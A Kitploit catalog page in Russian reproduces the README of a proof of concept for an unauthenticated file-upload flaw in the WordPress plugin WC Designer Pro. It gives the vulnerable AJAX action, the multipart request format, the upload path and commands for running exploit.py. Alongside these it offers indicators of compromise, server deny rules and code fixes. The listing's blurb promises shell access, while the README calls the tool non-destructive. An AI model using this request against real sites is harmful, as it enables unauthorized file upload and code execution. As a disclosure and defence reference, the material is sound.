Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2025-6440-Poc-Exploit — Эксплойт для удаленного выполнения кода без аутентификации для плагина WC Designer Pro WordPress. Автоматизирует обнаружение, загрузку файлов и получение доступа к оболочке через уязвимую конечную точку AJAX. | Kitploit
Инструменты/GitHubGitHub/m2hcz/cve-2025-6440-poc-exploit
Генерация полезной нагрузкиАнализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеRed Teaming
GitHubm2hcz/cve-2025-6440-poc-exploit

CVE-2025-6440-Poc-Exploit

Эксплойт для удаленного выполнения кода без аутентификации для плагина WC Designer Pro WordPress. Автоматизирует обнаружение, загрузку файлов и получение доступа к оболочке через уязвимую конечную точку AJAX.

Репозиторий
1221 месяц назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

WC Designer Pro — Неавторизованная произвольная загрузка файлов

Доказательство концепции для исследований в области безопасности

Python WordPress Research

CWE Severity Authentication

Неконструктивное доказательство концепции для неавторизованной уязвимости произвольной загрузки файлов, затрагивающей плагин WordPress WC Designer Pro.


Содержание

  • Обзор уязвимости
  • Влияние на безопасность
  • Затронутые версии
  • Корневая причина
  • Схема атаки
  • Требования
  • Установка
  • Использование
  • Технические детали
  • Безопасная проверка
  • Индикаторы компрометации
  • Устранение
  • Правовое и этическое использование
  • Статус раскрытия
  • Ссылки
  • Авторы

Обзор уязвимости

WC Designer Pro содержит неавторизованную уязвимость произвольной загрузки файлов в AJAX-действии, доступном через конечную точку WordPress admin-ajax.php.

Обработчик обрабатывает управляемые пользователем метаданные файла и содержимое файла без обеспечения надлежащей аутентификации, авторизации, проверки расширений, проверки MIME-типов или ограничений на имена файлов на стороне сервера.

При уязвимых конфигурациях неавторизованный злоумышленник может загрузить исполняемый сервером файл в каталог, доступный через веб. Успешная эксплуатация может привести к удалённому выполнению кода с правами процесса веб-сервера.

СвойствоЗначение
ПродуктWC Designer Pro
ПлатформаWordPress
Класс уязвимостиНеограниченная произвольная загрузка файлов
CWECWE-434
Требуется аутентификацияНет
Требуется взаимодействие с пользователемНет
Потенциальное воздействиеУдалённое выполнение кода
Сложность атакиНизкая
Уязвимый компонентОбработчик загрузки AJAX WordPress
AJAX-действиеwcdp_save_canvas_design_ajax

Точный диапазон затронутых версий, идентификатор CVE и оценка CVSS должны публиковаться только после их независимой проверки.


Влияние на безопасность

Успешная эксплуатация может позволить неавторизованному злоумышленнику:

  • Загружать несанкционированные файлы в установку WordPress.
  • Сохранять файлы в общедоступном каталоге загрузок.
  • Выполнять серверный код, если принимаются исполняемые расширения.
  • Читать или изменять данные, доступные учётной записи веб-сервера.
  • Скомпрометировать затронутую установку WordPress.
  • Использовать скомпрометированный сервер как точку опоры для дальнейших атак.

Конечное воздействие зависит от конфигурации веб-сервера, правил выполнения PHP, прав на файловую систему и средств контроля безопасности, развёрнутых хостинг-провайдером.


Затронутые версии

Диапазон затронутых версий в настоящее время проверяется.

root@kitploit:~
Продукт: WC Designer Pro
Затронутые версии: Будут подтверждены
Исправленная версия: Будет подтверждена
Статус исправления: Будет подтверждён

Не утверждайте, что затронуты все версии, если тестирование или подтверждение вендора не поддерживает такой вывод.


Корневая причина

Уязвимый поток загрузки, по-видимому, доверяет управляемым злоумышленником значениям, передаваемым в следующее AJAX-действие:

root@kitploit:~
wcdp_save_canvas_design_ajax

Запрос содержит метаданные файла, такие как:

  • Расширение файла
  • Идентификатор файла
  • Идентификатор назначения
  • Содержимое загруженного файла

Уязвимость существует, когда сервер принимает эти значения без выполнения всех следующих проверок:

  1. Проверки аутентификации и авторизации.
  2. Проверки nonce WordPress.
  3. Строгого разрешённого списка расширений.
  4. Проверки MIME-типа на основе содержимого файла.
  5. Нормализации и очистки имени файла.
  6. Обеспечения неисполняемого назначения загрузки.
  7. Предотвращения прямого веб-доступа к временным файлам.

Схема атаки

root@kitploit:~
Неавторизованный запрос
          │
          ▼
/wp-admin/admin-ajax.php
          │
          ▼
action=wcdp_save_canvas_design_ajax
          │
          ▼
Недостаточная проверка загруженного файла
          │
          ▼
Файл записывается в каталог, доступный через веб
          │
          ▼
Потенциальное выполнение серверного кода

Наблюдаемый путь загрузки следует этой структуре:

root@kitploit:~
/wp-content/uploads/wcdp-uploads/temp/{идентификатор}/{имя_файла}

Точный путь может отличаться в зависимости от версии плагина, конфигурации WordPress и серверной среды.


Требования

  • Python 3.8 или новее
  • pip
  • Лабораторная среда WordPress
  • Авторизованная цель
  • Уязвимая установка WC Designer Pro

Это доказательство концепции не должно использоваться против сторонних систем без явного письменного разрешения.


Установка

Клонируйте репозиторий:

root@kitploit:~
git clone https://github.com/m2hcz/wcdp-security-poc.git
cd wcdp-security-poc

Создайте и активируйте виртуальную среду:

root@kitploit:~
python3 -m venv .venv
source .venv/bin/activate

В Windows:

root@kitploit:~
python -m venv .venv
.venv\Scripts\Activate.ps1

Установите зависимости:

root@kitploit:~
pip install -r requirements.txt

Пример requirements.txt:

root@kitploit:~
requests>=2.28.0
urllib3>=1.26.0
rich>=13.0.0

Использование

Доказательство концепции должно выполняться только против одной авторизованной лабораторной цели.

root@kitploit:~
python3 exploit.py --url https://wordpress-lab.example

Для неконструктивной проверки:

root@kitploit:~
python3 exploit.py \
  --url https://wordpress-lab.example \
  --file ./payloads/verification.txt

Пример файла проверки:

root@kitploit:~
Проверка безопасности WC Designer Pro
Исследователь: m2hcz
Цель: Авторизованное неконструктивное тестирование

Используйте встроенную команду справки для просмотра поддерживаемых аргументов:

root@kitploit:~
python3 exploit.py --help

Пример вывода:

root@kitploit:~
usage: exploit.py [-h] --url URL [--file FILE] [--timeout SECONDS]

WC Designer Pro arbitrary file-upload verification PoC

options:
  -h, --help         show this help message and exit
  --url URL          authorized WordPress target
  --file FILE        harmless verification file
  --timeout SECONDS  HTTP request timeout

Технические детали

Уязвимая конечная точка

root@kitploit:~
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: wordpress-lab.example
Content-Type: multipart/form-data; boundary=----Boundary

Запрос вызывает:

root@kitploit:~
action=wcdp_save_canvas_design_ajax

Упрощённая структура запроса показана ниже:

root@kitploit:~
------Boundary
Content-Disposition: form-data; name="action"

wcdp_save_canvas_design_ajax
------Boundary
Content-Disposition: form-data; name="params"

{
  "mode": "save",
  "editor": "frontend",
  "uniq": "research-verification",
  "files": [
    {
      "name": "verification",
      "ext": "txt",
      "count": "file1"
    }
  ]
}
------Boundary
Content-Disposition: form-data; name="file1"; filename="verification.txt"
Content-Type: text/plain

Авторизованная проверка безопасности
------Boundary--

В этом примере намеренно используется неисполняемый текстовый файл.

Наблюдаемый ответ

Успешный запрос может вернуть ответ, похожий на:

root@kitploit:~
{
  "userID": false,
  "filesCMYK": [],
  "success": true
}

Успешный ответ сам по себе не доказывает удалённое выполнение кода. Исследователь должен отдельно подтвердить, что:

  1. Файл был создан.
  2. Файл доступен.
  3. Целевой каталог допускает выполнение серверного кода.
  4. Тест проводился в авторизованной среде.

Безопасная проверка

Рекомендуемая процедура проверки:

  1. Разверните WordPress в изолированной локальной среде.
  2. Установите предполагаемую уязвимую версию плагина.
  3. Создайте безвредный файл-маркер .txt.
  4. Отправьте маркер с помощью затронутого AJAX-действия.
  5. Подтвердите, был ли файл сохранён без аутентификации.
  6. Запишите HTTP-запрос и ответ.
  7. Удалите загруженный файл-маркер.
  8. Уничтожьте или сбросьте лабораторную среду.

Избегайте загрузки веб-шеллов или полезных нагрузок выполнения команд, когда безвредного файла-маркера достаточно для демонстрации уязвимости.

Ожидаемые доказательства

Действительный отчёт должен содержать:

  • Версию WordPress.
  • Версию WC Designer Pro.
  • Версии веб-сервера и PHP.
  • Полный HTTP-запрос.
  • Полный HTTP-ответ.
  • Результирующий путь к файлу.
  • Доказательство того, что не использовалась аутентифицированная сессия.
  • Скриншот или журнал, подтверждающий загруженный маркер.
  • Подтверждение очистки.

Индикаторы компрометации

Администраторы должны проверить следующий каталог:

root@kitploit:~
/wp-content/uploads/wcdp-uploads/temp/

Потенциальные индикаторы включают:

  • Неожиданные файлы .php, .phtml, .phar или аналогичные исполняемые файлы.
  • Подкаталоги со случайными именами.
  • Файлы, созданные неизвестными пользователями.
  • Запросы к admin-ajax.php с использованием затронутого AJAX-действия.
  • HTTP-запросы, обращающиеся к вновь созданным файлам внутри временного каталога загрузки.
  • Дочерние процессы, неожиданно созданные процессом PHP или веб-сервера.

Пример поиска по журналам:

root@kitploit:~
grep -R "wcdp_save_canvas_design_ajax" /var/log/nginx/ /var/log/apache2/

Пример поиска по файловой системе:

root@kitploit:~
find wp-content/uploads/wcdp-uploads/temp \
  -type f \
  \( -name "*.php" -o -name "*.phtml" -o -name "*.phar" \)

Устранение

Администраторы сайтов должны:

  1. Обновить WC Designer Pro до подтверждённой исправленной версии, когда она станет доступна.
  2. Отключить и удалить плагин, если исправление недоступно.
  3. Заблокировать выполнение серверных скриптов в каталогах загрузки WordPress.
  4. Проверить временный каталог загрузки на наличие несанкционированных файлов.
  5. Просмотреть журналы доступа веб-сервера на предмет попыток эксплуатации.
  6. Сменить соли WordPress и учётные данные администратора при подозрении на компрометацию.
  7. Сменить учётные данные базы данных, хостинга, FTP, SSH и API при необходимости.
  8. Пересобрать установку WordPress из доверенных источников после подтверждённой компрометации.

Рекомендуемая конфигурация сервера

Для Nginx запретите выполнение PHP в каталоге загрузок:

root@kitploit:~
location ~* /wp-content/uploads/.*\.php$ {
    deny all;
    return 403;
}

Для Apache поместите соответствующее правило в каталог загрузок:

root@kitploit:~
<FilesMatch "\.(php|phtml|phar|php[0-9]*)$">
    Require all denied
</FilesMatch>

Эти меры контроля являются эшелонированной защитой и не заменяют исправление уязвимого кода плагина.

Рекомендуемые меры контроля на уровне кода

Поддерживающие плагин должны:

  • Требовать аутентификацию там, где это уместно.
  • Проверять возможности пользователя с помощью current_user_can().
  • Требовать и проверять nonce WordPress.
  • Использовать строгий разрешённый список допустимых расширений.
  • Проверять файлы с помощью wp_check_filetype_and_ext().
  • Генерировать имена файлов на стороне сервера.
  • Хранить временные файлы вне корня веб-каталога, когда это возможно.
  • Предотвращать хранение исполняемого содержимого в каталогах загрузки.
  • Возвращать общие ошибки без раскрытия внутренних путей.

Правовое и этическое использование

Этот репозиторий предназначен исключительно для:

  • Авторизованного тестирования на проникновение.
  • Исследований уязвимостей.
  • Защитной валидации.
  • Обучения безопасности.
  • Воспроизведения в изолированных лабораторных средах.

Не используйте этот код для доступа, изменения, нарушения работы или компрометации систем без явного разрешения.

Автор не несёт ответственности за несанкционированное, незаконное или злонамеренное использование этого материала. Пользователи несут единоличную ответственность за соблюдение применимых законов, контрактов, правил взаимодействия и требований скоординированного раскрытия уязвимостей.


Статус раскрытия

root@kitploit:~
Дата обнаружения:       Будет добавлена
Вендор уведомлён:       Будет добавлено
Ответ вендора:          Будет добавлен
Выпущено исправление:   Будет добавлено
Запрошен CVE:           Будет добавлено
Назначен CVE:           Будет добавлено
Публичное раскрытие:    Будет добавлено

Не публикуйте заполнитель CVE как будто это назначенный идентификатор.

Когда CVE будет назначен, замените заполнитель официальной записью:

root@kitploit:~
CVE: CVE-YYYY-NNNNN
CVSS: Официальная или задокументированная оценка исследователя

Ссылки

  • Безопасность плагинов WordPress
  • Документация AJAX WordPress
  • Памятка OWASP по загрузке файлов
  • OWASP: Неограниченная загрузка файлов
  • CWE-434: Неограниченная загрузка файла с опасным типом

Авторы

m2hcz
Исследователь безопасности наступательного направления
GitHub · Портфолио

Журнал изменений

v1.0.0

  • Добавлен рабочий процесс проверки уязвимости.
  • Добавлена поддержка неконструктивных файлов-маркеров.
  • Добавлено обнаружение конечной точки и экспозиции плагина.
  • Добавлен структурированный сбор доказательств.
  • Добавлены тайм-аут запроса и обработка ошибок.
  • Добавлены рекомендации по устранению и реагированию на инциденты.

Исследования в области безопасности должны снижать риск, а не создавать его.

Создано для авторизованного тестирования безопасности m2hcz.

Скачать инструмент